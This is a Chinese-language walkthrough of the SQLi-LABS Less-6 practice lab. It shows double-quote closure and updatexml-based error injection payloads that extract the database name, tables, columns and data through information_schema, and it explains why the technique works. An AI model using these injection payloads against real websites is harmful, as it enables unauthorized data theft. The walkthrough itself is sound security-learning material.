SQLi-LABS Less-6

题目如下

SQLi-LABS Less-6_第1张图片

和Less-5一样,那么2我们需要找到他报错的提示

SQLi-LABS Less-6_第2张图片

SQLi-LABS Less-6_第3张图片

 这需要我们使用“ " ”来闭合1,除了需要闭合1之外,其方法和Less-5一样,也可以通过报错注入来解决,但是我在这里另外使用一种函数来进行注入而非我在Less-5使用的extractvalue函数。

查库名

SQLi-LABS Less-6_第4张图片

 查表名

SQLi-LABS Less-6_第5张图片

查列

SQLi-LABS Less-6_第6张图片

查列里面的内容

SQLi-LABS Less-6_第7张图片

总结

?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

?id=1" and updatexml(1,concat('~',(select group_concat(table_name) from%20information_schema.columns where table_schema='库名'),'~'),1)--+

?id=1" and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='表名'),'~'),1)--+

?id=1" and updatexml(1,concat('~',(select group_concat(列里面的内容) from 列名),%27~%27),1)--+

 UpdateXml函数

函数的用法:

UPDATEXML (XML_document, XPath_string, new_value)

三个字符串参数:

(1).XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1

(2).XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。

(3).new_value,String 格式,替换查找到的符合条件的数据

为什么可以用于报错注入:

UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码。

你可能感兴趣的:(web安全,学习)